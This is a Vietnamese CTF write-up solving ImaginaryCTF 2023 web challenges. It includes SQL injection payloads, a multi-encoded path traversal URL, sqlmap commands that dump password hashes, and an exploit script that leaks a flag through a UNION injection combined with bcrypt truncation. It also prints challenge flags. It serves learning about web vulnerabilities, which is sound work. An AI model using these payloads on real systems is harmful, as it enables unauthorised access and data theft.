---
# System prepended metadata

title: ImaginaryCTF

---

# Idoriot
![](https://hackmd.io/_uploads/SyPb3Ioc3.png)

Challenge cho phép login và register. Sau khi register ta nhận được một đoạn source code


![](https://hackmd.io/_uploads/ryuU3Uo52.png)

Hmm... Có vẻ chỉ cần giá trị của ```$_SESSION['user_id']``` thành 0 là ta có thể lấy được flag :>


![](https://hackmd.io/_uploads/BymJaIs92.png)
Nhưng mà lúc mình viết writeups này hình như có vẻ server đã đóng rồi nên không get được flag :< 


# Idoriot-revenge


![](https://hackmd.io/_uploads/SJ8tJwj5h.png)
Challenge này chỉ chỉnh sửa một chút từ challenge trước đó nên ta chỉ cần đăng nhập với username là ```Admin```.
và change ```user_id``` là ```0```


[PHP Type Juggling](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/php-tricks-esp)

```If == is used in PHP, then there are unexpected cases where the comparison doesn't behave as expected. This is because "==" only compare values transformed to the same type, if you also want to compare that the type of the compared data is the same you need to use ===```
![](https://hackmd.io/_uploads/SJKjxvs93.png)
# Blank


![](https://hackmd.io/_uploads/SJJJ-Pj53.png)
Có vẻ lại là một form login khác
Xem qua source code mình tìm thấy một đoạn code đáng ngờ sau
  ```
  db.get('SELECT * FROM users WHERE username = "' + username + '" and password = "' + password+ '"', (err, row) => {
    if (err) {
      console.error(err);
      res.status(500).send('Error retrieving user');
    } else {
      if (row) {
        req.session.loggedIn = true;
        req.session.username = username;
        res.send('Login successful!');
      } else {
        res.status(401).send('Invalid username or password');
      }
    }
  });
});
```
Có vẻ nó kiểm tra chúng ta về SQL Injection
Hmm đơn giản là chỉ cần set username là admin là password chèn đoạn payload ```" or 1=1 --``` 
```app.get('/flag', (req, res) => {
  if (req.session.username == "admin") {
    res.send('Welcome admin. The flag is ' + fs.readFileSync('flag.txt', 'utf8'));
  }
  else if (req.session.loggedIn) {
    res.status(401).send('You must be admin to get the flag.');
  } else {
    res.status(401).send('Unauthorized. Please login first.');
  }
});
```
là chúng ta có được flag :>
![](https://hackmd.io/_uploads/HJlSGviqh.png)


# Perfect Pictrue
![](https://hackmd.io/_uploads/rJGYzDj92.png)


Challenge này có vẻ là file upload injection 
```
from flask import Flask, render_template, request
from PIL import Image
import exiftool
import random
import os

app = Flask(__name__)
app.debug = False

os.system("mkdir /dev/shm/uploads/")
app.config['UPLOAD_FOLDER'] = '/dev/shm/uploads/'
app.config['ALLOWED_EXTENSIONS'] = {'png'}

def check(uploaded_image):
    with open('flag.txt', 'r') as f:
        flag = f.read()
    with Image.open(app.config['UPLOAD_FOLDER'] + uploaded_image) as image:
        w, h = image.size
        if w != 690 or h != 420:
            return 0
        if image.getpixel((412, 309)) != (52, 146, 235, 123):
            return 0
        if image.getpixel((12, 209)) != (42, 16, 125, 231):
            return 0
        if image.getpixel((264, 143)) != (122, 136, 25, 213):
            return 0

    with exiftool.ExifToolHelper() as et:
        metadata = et.get_metadata(app.config['UPLOAD_FOLDER'] + uploaded_image)[0]
        try:
            if metadata["PNG:Description"] != "jctf{not_the_flag}":
                return 0
            if metadata["PNG:Title"] != "kool_pic":
                return 0
            if metadata["PNG:Author"] != "anon":
                return 0
        except:
            return 0
    return flag

def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower() in app.config['ALLOWED_EXTENSIONS']

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/upload', methods=['POST'])
def upload():
    if 'file' not in request.files:
        return 'no file selected'

    file = request.files['file']

    if file.filename == '':
        return 'no file selected'

    if file and allowed_file(file.filename):
        filename = file.filename

        img_name = f'{str(random.randint(10000, 99999))}.png'
        file.save(app.config['UPLOAD_FOLDER'] + img_name)
        res = check(img_name)

        if res == 0:
            os.remove(app.config['UPLOAD_FOLDER'] + img_name)
            return("hmmph. that image didn't seem to be good enough.")
        else:
            os.remove(app.config['UPLOAD_FOLDER'] + img_name)
            return("now that's the perfect picture:<br>" + res)

    return 'invalid file'

if __name__ == '__main__':
    app.run()
```
Tạo một bức ảnh hoàn hảo có vẻ ta chỉ cần upload file đáp ứng toàn bộ yêu cầu của đoạn code thôi
sovle.py

```

from PIL import Image

def magic_image():
    # Step 1: Create the Image
    width, height = 690, 420
    image = Image.new("RGBA", (width, height), (255, 255, 255, 0))

    # Step 2: Modify Pixel Colors
    image.putpixel((412, 309), (52, 146, 235, 123))
    image.putpixel((12, 209), (42, 16, 125, 231))
    image.putpixel((264, 143), (122, 136, 25, 213))
    # Step 3: Save the Image
    image.save("solve.png")


if __name__ == "__main__":
    magic_image()

```
Sau đó sử dụng Exiftool

```
exiftool -PNG:Description="jctf{not_the_flag}" -PNG:Title="kool_pic" -PNG:Author="anon" solve.png

```

Upload file và Boom we got the flag
![](https://hackmd.io/_uploads/ry89mvj93.png)


# Rok
![](https://hackmd.io/_uploads/rkq6mDiqn.png)
Bài có cung cấp cho ta một đoạn source code
```<?php
  $filename = urldecode($_GET["file"]);
  if (str_contains($filename, "/") or str_contains($filename, ".")) {
    $contentType = mime_content_type("stopHacking.png");
    header("Content-type: $contentType");
    readfile("stopHacking.png");
  } else {
    $filePath = "images/" . urldecode($filename);
    $contentType = mime_content_type($filePath);
    header("Content-type: $contentType");
    readfile($filePath);
  }
?>
```
Có vẻ mục đích của tác giả là ngăn chặn ta thực thi path traversal tuy nhiên sử dụng urldecode tồn tại nhiều điểm yếu, ```urldecode()``` chỉ có thể decode một lần mà qua một lớp layer mà thôi, điều này dẫn đến chúng ta có thể encode nhiều lần qua nhiều lớp layer để bypass qua đoạn filter trên 
```
FROM php:8-apache

RUN /usr/sbin/useradd -u 1000 user

COPY index.php /var/www/html/
COPY file.php /var/www/html/
COPY styles.css /var/www/html/
COPY stopHacking.png /var/www/html/

RUN mkdir /var/www/html/images
COPY images/* /var/www/html/images
COPY flag.png /

VOLUME /var/log/apache2
VOLUME /var/run/apache2

CMD bash -c 'source /etc/apache2/envvars && APACHE_RUN_USER=user APACHE_RUN_GROUP=user /usr/sbin/apache2 -D FOREGROUND'


```
Flag nằm ở flag.png vì vậy ta chỉ cần encode đoạn ../../../ nhiều lần là được 
http://roks.chal.imaginaryctf.org/file.php?file=%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252F%25252E%25252E%25252Fflag%25252Epng
![](https://hackmd.io/_uploads/H1i6jvjq3.png)

# Login 
[Login](https://github.com/f0rk3b0mb/ImaginaryCTF_login)
Mình cố thử login với ```admin:admin``` tuy nhiên nó trả về ```Invalid username or password ```
View page source and find a comment 
``` <!-- /?source -->```
```
$flag = $_ENV['FLAG'] ?? 'jctf{test_flag}';
$magic = $_ENV['MAGIC'] ?? 'aabbccdd11223344';
$db = new SQLite3('/db.sqlite3');

$username = $_POST['username'] ?? '';
$password = $_POST['password'] ?? '';
$msg = '';

if (isset($_GET[$magic])) {
    $password .= $flag;
}

if ($username && $password) {
    $res = $db->querySingle("SELECT username, pwhash FROM users WHERE username = '$username'", true);
    if (!$res) {
        $msg = "Invalid username or password";
    } else if (password_verify($password, $res['pwhash'])) {
        $u = htmlentities($res['username']);
        $msg = "Welcome $u! But there is no flag here :P";
        if ($res['username'] === 'admin') {
            $msg .= "<!-- magic: $magic -->";
        }
    } else {
        $msg = "Invalid username or password";
    }
}
```
Có vẻ flag sẽ được chèm vào ```$password``` nếu chúng ta chung cấp đúng giá trị của ```$magic``` thông qua GET parameter, ví dụ http://login.chal.imaginaryctf.org/?aabbccdd11223344
Do giá trị ```$msg``` đã được chỉ ra nên việc logging với admin có vẻ sẽ không lấy được flag. Nó sẽ cho chúng ta giá trị của $magic nhưng chúng ta cần cách để recover flag
Mình nghĩ có thể dùng sqlmap để khai thác challenge này
Lấy POST login request vào file ```new.req```

``` sqlmap -r new.req --batch```
Ta nhận được kết quả sau: 
```
 Parameter: username (POST)
    Type: time-based blind
    Title: SQLite > 2.0 AND time-based blind (heavy query)
    Payload: username=admin' AND 7431=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2))))-- bqUp&password=admin
```
Đi sau vào databases xem sao 
```
sqlmap -r new.req --batch --tables
+-------+
| users |
+-------+
sqlmap -r new.req --batch -T users -C password --dump
+----------+
| password |
+----------+
| <blank>  |
| <blank>  |
+----------+
```
Mình đoán cần tables ```pwhash```
```
sqlmap -r new.req --batch -T users -C pwhash --dump
+--------------------------------------------------------------+
| pwhash                                                       |
+--------------------------------------------------------------+
| $2y$10$vw1OC907/WpJagql/LmHV.7zs8I3RE9N0BC4/Tx9I90epSI2wr3S. |
| $2y$10$Is00vB1hRNHYBl9BzJwDouQFCU85YyRjJ81q0CX1a3sYtvsZvJudC |
+--------------------------------------------------------------+
```
Có vẻ là [SQL Injection with password_verify(https://stackoverflow.com/questions/50756182/sql-injection-with-password-verify/50788204#50788204)]()
Sau một hồi tìm kiếm mình tìm được một thứ khá [hay ho](https://stackoverflow.com/questions/50756182/sql-injection-with-password-verify/50788242#50788242) chúng ta có thể select a username, along with a "fake" password hash 
```
 SELECT * FROM table 
 WHERE Username = 'xxx'
 UNION SELECT 'root' AS username, '$6$ErsDojKr$7wXeObXJSXeSRzCWFi0ANfqTPndUGlEp0y1NkhzVl5lWaLibhkEucBklU6j43/JeUPEtLlpRFsFcSOqtEfqRe0' AS Password'
```
Ok, thử lại với bài này 

```
guest' UNION SELECT 'admin', '$2y$10$vw1OC907/WpJagql/LmHV.7zs8I3RE9N0BC4/Tx9I90epSI2wr3S.' AS pwhash --
```
Boom !! chúng ta đã thành công chèn admin user với guest password hash. Và lấy được gái trị ```magic``` value ở source
```Welcome admin! But there is no flag here :P<!-- magic: 688a35c685a7a654abc80f8e123ad9f0 -->```
Vì bài này mình không hiểu làm thế nào để có thể login với admin trong thời gian solve nên là dịch tạm writeups của mọi người, ok anyway dù sao vừa ghi vừa học lại :>
Bây giờ set parameter http://login.chal.imaginaryctf.org/?688a35c685a7a654abc80f8e123ad9f0
Tuy nhiên có một vấn đề ở đây là : ```http://login.chal.imaginaryctf.org/?688a35c685a7a654abc80f8e123ad9f0```
```Caution Using the PASSWORD_BCRYPT as the algorithm, will result in the password parameter being truncated to a maximum length of 72 characters.```
Vi vậy chúng ta nên submit bcrypt hash of ```(71 * A) + flag_char``` như là password, với việc ```flag_char``` lặp trong vòng lặp với các giá trị printable ASCII
If the login is successful, we've cracked that character of the flag and we can now do (70 * A) + flag_char, until we have the full flag.
Explotit.py
```
### https://github.com/f0rk3b0mb/ImaginaryCTF_login
### Code created by f0rk3b0mb
### for ImaginaryCTF2023
### 22 july 2023


import string
import requests
import bcrypt
import os

#xxx' UNION SELECT 'admin' AS username,'$2y$10$C4lfi0f8kouggVBFkKF1ru./NEQTKqptjJCh6JI/hJieELWHLeFXi' AS pwhash--

url="http://login.chal.imaginaryctf.org/?688a35c685a7a654abc80f8e123ad9f0"

#flag : ictf{why_are_bcrypt_truncating_my_passwords?!}

secret=["i","c","t","f"]


while True:
	length=71-len(secret)
	overflow="A"*length
	for i in string.printable[:-6]:
		guess=overflow+"".join(secret)+str(i)
		hash=os.popen(f"php exploit.php {guess}").read()
		headers={"Content-Type": "application/x-www-form-urlencoded"}
		data=f"username=xxx'+UNION+SELECT+'admin'+AS+username,'{hash}'+AS+pwhash--&password={overflow}"
		r=requests.post(url,data=data,headers=headers)
		if "Welcome admin" in r.text:
			secret.append(i)
			print(f"found ...","".join(secret))
			break
		else:
			print(f"trying {i}...")
            
```
Exploit.php 
```
<?php
// Check if the required arguments are provided in the command line
if ($argc !== 2) {
    echo "Usage: php password_hash.php <password>\n";
    exit(1);
}

// Get the password from the command line argument
$password = $argv[1];

// Generate the password hash using password_hash()
$hash = password_hash($password, PASSWORD_DEFAULT);

// Output the generated hash
echo $hash;
```
# Amagous
[Amagous](https://github.com/ixSly/CTFs/blob/master/ImaaginaryCTF/Amogus.md)